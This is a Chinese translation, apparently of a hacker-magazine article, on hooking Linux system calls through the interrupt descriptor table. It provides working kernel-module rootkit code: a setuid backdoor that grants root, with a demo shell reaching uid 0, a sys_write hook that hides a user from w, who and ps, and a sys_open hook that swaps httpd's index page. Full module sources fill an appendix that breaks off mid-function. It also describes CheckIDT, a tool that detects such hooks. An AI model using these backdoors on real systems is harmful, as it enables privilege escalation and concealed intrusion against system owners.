续 IDT
时间:2005-06-24 来源:我菜我怕谁
--[ 5 - 为系统调用安排的异常
----[ 5.1 - 系统调用列表
你可以在下列rul中找到一个所有的系统调用的列表 :
http://www.lxhp.in-berlin.de/lhpsysc0.html [3].
注 : 小心,在2.2.* 和 2.4.* kernels之间系统调用号是不一样的。
----[ 5.2 - 系统调用是如何工作的 ?
在这里,我们也hook了syscalls.当系统调用被调用时,所有的参数都是在寄存器中。
eax : number of the called syscall
ebx : first param
ecx : second param
edx : third param
esi : fourth param
edi : fifth param
假如参数超过5的话(象mmap系统调用有6个参数),简单的寄存器用来指向内存区,该区包含了
那些参数。
我们得到那些变量就象前面structure pt_regs一样. 我们在IDT等级hook系统调用,而
不是hook syscall_table. kstat和其他所有当前可用的LKM侦测工具都将失败。
----[ 5.3 - profit钩子
------[ 5.3.1 - sys_setuid钩子
SYS_SETUID:
-----------
EAX: 213
EBX: uid
我们来看一个简单的例子,又一个小后门。跟前面的3.5中的差不多,只是在这里,我们使用的是
hook syscall setuid.
asm handler :
--------------
...
#define sys_number 213
...
void stub_kad(void)
{
__asm__ (
".globl my_stub "
".align 4,0x90 "
"my_stub: "
//save the register value
" pushl %%ds "
" pushl %%eax "
" pushl %%ebp "
" pushl %%edi "
" pushl %%esi "
" pushl %%edx "
" pushl %%ecx "
" pushl %%ebx "
//compare if it's the good syscall
" xor %%ebx,%%ebx "
" movl %2,%%ebx "
" cmpl %%eax,%%ebx "
" jne finis "
//if it's the good syscall,
//put top stack address on stack :)
" mov %%esp,%%edx "
" mov %%esp,%%eax "
" andl $-8192,%%eax "
" pushl %%eax "
" push %%edx "
" call *%0 "
" addl $8,%%esp "
"finis: "
//restore register
" popl %%ebx "
" popl %%ecx "
" popl %%edx "
" popl %%esi "
" popl %%edi "
" popl %%ebp "
" popl %%eax "
" popl %%ds "
" jmp *%1 "
::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
);
}
- 保存所有寄存器
- 比较是否是我们hook的sys_number
- 假如是,我们把esp值和当前进程描述put到堆栈中。
- 调用我们的C函数,在返回的时候,我们pop了8个字节(eax + edx).
- finis : 弹出所有的寄存器值,然后我们调用真正的处理函数。
通过改变sys_number值, 我们可以hook任何的系统调用
C handler
----------
asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task = &((struct task_struct *) fd_task)[0];
if (regs->ebx == 12345 )
{
my_task->uid=0;
my_task->gid=0;
my_task->suid=1000;
}
}
我们通过pt_regs结构得到寄存器值并且得到current描述符的地址。我们比较ebx值是否为12345,假如
是的话,我们设置uid和gid为0。
练习 :
--------------
bash-2.05$ cat setuid.c
#include <stdio.h>
int main (int argc,char ** argv)
{
setuid(12345);
system("/bin/sh");
return 0;
}
bash-2.05$ gcc -o setuid setuid.c
bash-2.05$ ./setuid
sh-2.05# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.05#
OK,我们是ROOT了,该技术可以适应到任何的系统调用。
------[ 5.3.2 - sys_write钩子
SYS_WRITE:
----------
EAX: 4
EBX: file descriptor
ECX: ptr to output buffer
EDX: count of bytes to send
我们将hook sys_write来替换一个字符串。然后,我们也可以替换整个系统的。
asm处理函数部分跟在 5.3.1 相同
C handler
----------
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task= &((struct task_struct *) fd_task) [0];
char *ptr=(char *) regs->ecx;
char * buffer,*ptr3;
if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0||
strcmp(my_task->comm,"lastlog")==0 ||
((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
{
buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
copy_from_user(buffer,ptr,regs->edx);
if(hide_string)
{
ptr3=strstr(buffer,hide_string);
}
else
{
ptr3=strstr(buffer,HIDE_STRING);
}
if(ptr3 != NULL )
{
if (false_string)
{
strncpy(ptr3,false_string,strlen(false_string));
}
else
{
strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
}
copy_to_user(ptr,buffer,regs->edx);
}
kfree(buffer);
}
}
- 比较是否是要操作的进程
- 分配buffer空间,接收来自的regs->ecx字符串
- 我们把string从用户空间拷贝到内核空间(copy_from_user)
- 查找我们要隐藏到的string
- 假如发现替换成我们要变成的string
- 把我们替换过的string拷贝到用户空间(copy_to_user)
练习 :
--------------
%gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c
%w
12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
kad tty1 - 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startx
kad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid
%modinfo hookstub-V0.5.2.o
filename: hookstub-V0.5.2.o
description: "Hooking of sys_write"
author: "kad"
parm: interrupt int, description "Interrupt number"
parm: hide_string string, description "String to hide"
parm: false_string string, description "The fake string"
parm: progy string, description "You can add another program to fake"
%insmod hookstub-V0.5.2.o interrupt=128 hide_string=alert7 false_string=marcel
progy=ps
Inserting hook
Hooking finish
[alert7@redhat73 alert7]$ w
8:36am up 7:07, 3 users, load average: 0.02, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/1 192.168.0.176 1:47am 3.00s 0.28s 0.28s -bash
marcel pts/2 192.168.0.176 8:34am 0.00s 0.10s 0.01s w
[alert7@redhat73 alert7]$ ps -au
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
marcel 18602 0.0 0.6 2464 1288 pts/2 S 08:34 0:00 -bash
marcel 18685 0.0 0.3 2580 664 pts/2 R 08:41 0:00 ps -au
字符串"alert7"被隐藏起来了。整个源代码在附件CODE 3中。该例子非常简单但是非常
令人感兴趣。我们把"alert7"替换成了"marcel", 我们也可改变我们的IP地址,不但可以
hook w ,who,lastlog我们还可以hook kogd等等
完全的sys_write钩子
------------------------------
完全的sys_write钩子有时候是比较有用的,比如我们要把一个IP地址变成另外一个。但是假如
我们完全改变一个string,那么我们将不再隐藏了。假如你把一个string变成另一个,它将影响
到整个系统。甚至简单的cat也受影响:
%insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye! "
Inserting hook
Hooking finish
%echo hello!
bye!
%
C 处理函数跟上面的一样,就是不带那个判断条件。然而,这样就使的系统会变的很慢。
----[ 5.4 - fun钩子
该例子仅仅for fun,请不要滥用。感谢Spacewalker,这是他的想法。hook系统调用sys_open,所以
它打开其他文件时将使用另外个已经定义一个的文件替代。在这里只对httpd做处理。
SYS_OPEN:
---------
EAX : 5
EBX : ptr to pathname
ECX : file access
EDX : file permissions
asm 处理函数通上
C handler :
------------
asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
if(strcmp(my_task->comm,"httpd") == 0)
{
if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0)
{
copy_to_user((char *)regs->ebx,"/tmp/hacked",
strlen((char *) regs->ebx));
}
}
}
当我们hook sys_open,假如httpd调用sys_open并且试图打开index.html的时候,我们
就把index.html变成其他选择的页面。我们也可以使用MODULE_PARM很容易的改变这个页。假如
是类试vi编辑器的时候,它将看到真正的index.html!
使用这种技术hook一个系统调用是非常容易的事情。此外,只要做些小改动就可以hook
其他系统调用。仅仅要做的就是给C处理函数做些小改动。然而,我们玩的是asm处理函数,例如
颠倒两个系统调用。我们仅需要比较eax值并且把该值改成想要的系统调用值。为于管理员来说,
我们可以hook一些“热门”的系统调用并且只要该系统调用被调用就会警告。我们也可以对
syscall_table修改的报警。
--[ 6 - CHECKIDT
CheckIDT是个小程序,在用户模式玩转IDT,它不需要使用LKM,。感谢Phrack 58关于
/dev/kmem的技术文章。该小程序就是基于这个写的。CheckIDT帮助您编写LKM并且防止重起。
另一方面,该软件能对修改IDT作出警告,这对管理员是非常有用的。它使用tripwire的风格
保存IDT的状态。它在文件中保存着IDT每个描述符,然后和现在的做比较。
一些使用例子 :
-----------------------
[root@redhat73 root]# ./checkidt
CheckIDT V 1.1 by kad
---------------------
Option :
-a nb show all info about one interrupt
-A showw all info about all interrupt
-I show IDT address
-c create file archive
-r read file archive
-o file output filename (for creating file archive)
-C compare save idt & new idt
-R restore IDT
-i file input filename to compare or read
-s resolve symbol thanks to /boot/System.map
-S file specify a map file
[root@redhat73 root]# ./checkidt -a 3 -s
Int *** Stub Address *** Segment *** DPL *** Type Handler Name
--------------------------------------------------------------------------
3 0xc0108ab0 KERNEL_CS 3 System gate int3
Thanks for choosing kad's products :-)
我们可以获得一个中断的描述信息。使用"-A"允许我们获得所有的中断。
[root@redhat73 root]# ./checkidt -c
Creating file archive idt done
Thanks for choosing kad's products :-)
[root@redhat73 root]# insmod hookstub-V0.3.2.o interrupt=3
Warning: loading hookstub-V0.3.2.o will taint the kernel: no license
Inserting hook
Hooking finished
[root@redhat73 root]# ./checkidt -C
Hey stub address of interrupt 3 has changed!!!
Old Value : 0xc0108ab0
New Value : 0xcc87b064
Thanks for choosing kad's products :-)
[root@redhat73 root]# ./checkidt -R
Restore old stub address of interrupt 3
Thanks for choosing kad's products :-)
[root@redhat73 root]# ./checkidt -C
All values are same
Thanks for choosing kad's products :-)
[root@redhat73 root]# lsmod
Module Size Used by Tainted: P
hookstub-V0.3.2 1712 0 (unused)
...
所以,CheckIDT可以恢复插入模块之前的IDT的值。模块还在那里,但已经不起作用了。
作为 tripwire,我建议你把保存IDT的文件放在只读区。
注 : 假如模块是隐藏着的,你也可以根据IDT的不同从而确定隐藏模块的存在。
整个代码在附件 CODE 4.
--[ 7 - REFERENCES
[1] http://www.linuxassembly.org/resources.html#tutorials
Many docs on asm inline
[2] http://www.xml.com/ldd/chapter/book/
linux device drivers
[3] http://www.lxhp.in-berlin.de/lhpsysc0.html
detailed syscalls list
[4] http://eccentrica.org/Mammon/
Mammon site, thanks mammon ;)
[5] http://www.oreilly.com/catalog/linuxkernel/
o'reilly book , great book :)
[6] http://www.tldp.org/LDP/lki/index.html
Linux Kernel 2.4 Internals
[7] Sources of 2.2.19 and 2.4.17 kernel
[8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html
good info about how bottom half work
[9] http://www.s0ftpj.org/en/tools.html
kstat
致谢
- 特别感谢freya, django和neuro帮助我把本文转化为英文。再次感谢skyper的建议,还要感谢多少人:)
- 感谢Wax在asm上给我的宝贵意见
- 非常感谢mayhem, insulted, ptah 和 sauron 测试代码并且校验本文
- 感谢#frogs频道的人, #thebhz 频道的人, #gandalf 频道的人, #fr 频道的人, 感谢所有在RtC.Party
的人们,我不会忘记的,谢谢。
--[ 8 - 附件
CODE 1:
-------
/*****************************************/
/* hooking interrupt 3 . Idea by mammon */
/* with kad modification */
/*****************************************/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#include <linux/malloc.h>
#define error_code 0xc01092d0 //error code in my system.map
#define do_int3 0xc010977c //do_int3 in my system.map
asmlinkage void my_handler(struct pt_regs * regs,long err_code);
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long ptr_gdt_table;
unsigned long old_stub;
unsigned long old_handler=do_int3;
extern asmlinkage void my_stub();
unsigned long ptr_error_code=error_code;
unsigned long ptr_handler=(unsigned long)&my_handler;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub "
".align 4,0x90 "
"my_stub: "
"pushl $0 "
"pushl ptr_handler(,1) "
"jmp *ptr_error_code "
::
);
}
asmlinkage void my_handler(struct pt_regs * regs,long err_code)
{
void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler;
printk("<1>Wowowo hijacking de l'int 3 ");
(*old_int_handler)(regs,err_code);
return;
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
}
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(3);
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
return;
}
int init_module(void)
{
ptr_idt_table=get_addr_idt();
hook_stub(3,&my_stub,&old_stub);
return 0;
}
void cleanup_module()
{
hook_stub(3,(char *)old_stub,NULL);
}
******************************************************************************
CODE 2:
-------
/****************************************************/
/* IDT int3 backdoor. Give root right to the process
/* Coded by kad
/****************************************************/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#ifndef KERNEL2
#include <linux/slab.h>
#else
#include <linux/malloc.h>
#endif
/*------------------------------------------*/
asmlinkage void my_function(unsigned long);
/*------------------------------------------*/
MODULE_AUTHOR("Kad");
MODULE_DESCRIPTION("Hooking of int3 , give root right to process");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub "
".align 4,0x90 "
"my_stub: "
" pushl %%ebx "
" movl %%esp,%%ebx "
" andl $-8192,%%ebx "
" pushl %%ebx "
" call *%0 "
" addl $4,%%esp "
" popl %%ebx "
" jmp *%1 "
::"m"(hostile_code),"m"(old_stub)
);
}
asmlinkage void my_function(unsigned long addr_task)
{
struct task_struct *p = &((struct task_struct *) addr_task)[0];
if(strcmp(p->comm,"give_me_root")==0 )
{
#ifdef DEBUG
printk("UID : %i GID : %i SUID : %i ",p->uid,
p->gid,p->suid);
#endif
p->uid=0;
p->gid=0;
#ifdef DEBUG
printk("UID : %i GID %i SUID : %i ",p->uid,p->gid,p->suid);
#endif
}
else
{
#ifdef DEBUG
printk("<1>Interrupt %i hijack ",interrupt);
#endif
}
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
unsigned short get_size_idt(void)
{
unsigned idtr[6];
unsigned short size;
__asm__ volatile ("sidt %0": "=m" (idtr));
size=*((unsigned short *) &idtr[0]);
return(size);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
}
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(n);
#ifdef DEBUG
printk("Hook : new stub addresse not splited : 0x%.8x ",new_addr);
#endif
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
#ifdef DEBUG
printk("Hook : idt->offset_high : 0x%.8x ",idt[n].offset_high);
printk("Hook : idt->offset_low : 0x%.8x ",idt[n].offset_low);
#endif
return;
}
int write_console (char *str)
{
struct tty_struct *my_tty;
if((my_tty=current->tty) != NULL)
{
(*(my_tty->driver).write) (my_tty,0,str,strlen(str));
return 0;
}
else return -1;
}
static int __init kad_init(void)
{
int x;
EXPORT_NO_SYMBOLS;
ptr_idt_table=get_addr_idt();
write_console("Inserting hook ");
hook_stub(interrupt,&my_stub,&old_stub);
#ifdef DEBUG
printk("Set hooking on interrupt %i ",interrupt);
#endif
write_console("Hooking finished ");
return 0;
}
static void kad_exit(void)
{
write_console("Removing hook ");
hook_stub(interrupt,(char *)old_stub,NULL);
}
module_init(kad_init);
module_exit(kad_exit);
******************************************************************************
CODE 3:
-------
/**************************************************************/
/* Hooking of sys_write for w,who and lastlog.
/* You can add an another program when you insmod the module
/* By kad
/**************************************************************/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#ifndef KERNEL2
#include <linux/slab.h>
#else
#include <linux/malloc.h>
#endif
#include <linux/interrupt.h>
#include <linux/compatmac.h>
#define sys_number 4
#define HIDE_STRING "localhost"
#define FALSE_STRING "somewhere"
#define PROG "w"
/*------------------------------------------*/
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task);
/*------------------------------------------*/
MODULE_AUTHOR("kad");
MODULE_DESCRIPTION("Hooking of sys_write");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
MODULE_PARM(hide_string,"s");
MODULE_PARM_DESC(hide_string,"String to hide");
MODULE_PARM(false_string,"s");
MODULE_PARM_DESC(false_string,"The fake string");
MODULE_PARM(progy,"s");
MODULE_PARM_DESC(progy,"You can add another program to fake");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
char *hide_string;
char *false_string;
char *progy;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub "
".align 4,0x90 "
"my_stub: "
//save the register value
" pushl %%ds "
" pushl %%eax "
" pushl %%ebp "
" pushl %%edi "
" pushl %%esi "
" pushl %%edx "
" pushl %%ecx "
" pushl %%ebx "
//compare it's the good syscall
" xor %%ebx,%%ebx "
" movl %2,%%ebx "
" cmpl %%eax,%%ebx "
" jne finis "
//if it's the good syscall , continue :)
" mov %%esp,%%edx "
" mov %%esp,%%eax "
" andl $-8192,%%eax "
" pushl %%eax "
" push %%edx "
" call *%0 "
" addl $8,%%esp "
"finis: "
//restore register
" popl %%ebx "
" popl %%ecx "
" popl %%edx "
" popl %%esi "
" popl %%edi "
" popl %%ebp "
" popl %%eax "
" popl %%ds "
" jmp *%1 "
::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
);
}
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
char *ptr=(char *) regs->ecx;
char * buffer,*ptr3;
if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0
|| strcmp(my_task->comm,"lastlog")==0
|| ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
{
buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
copy_from_user(buffer,ptr,regs->edx);
if(hide_string)
{
ptr3=strstr(buffer,hide_string);
}
else
{
ptr3=strstr(buffer,HIDE_STRING);
}
if(ptr3 != NULL )
{
if (false_string)
{
strncpy(ptr3,false_string,strlen(false_string));
}
else
{
strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
}
copy_to_user(ptr,buffer,regs->edx);
}
kfree(buffer);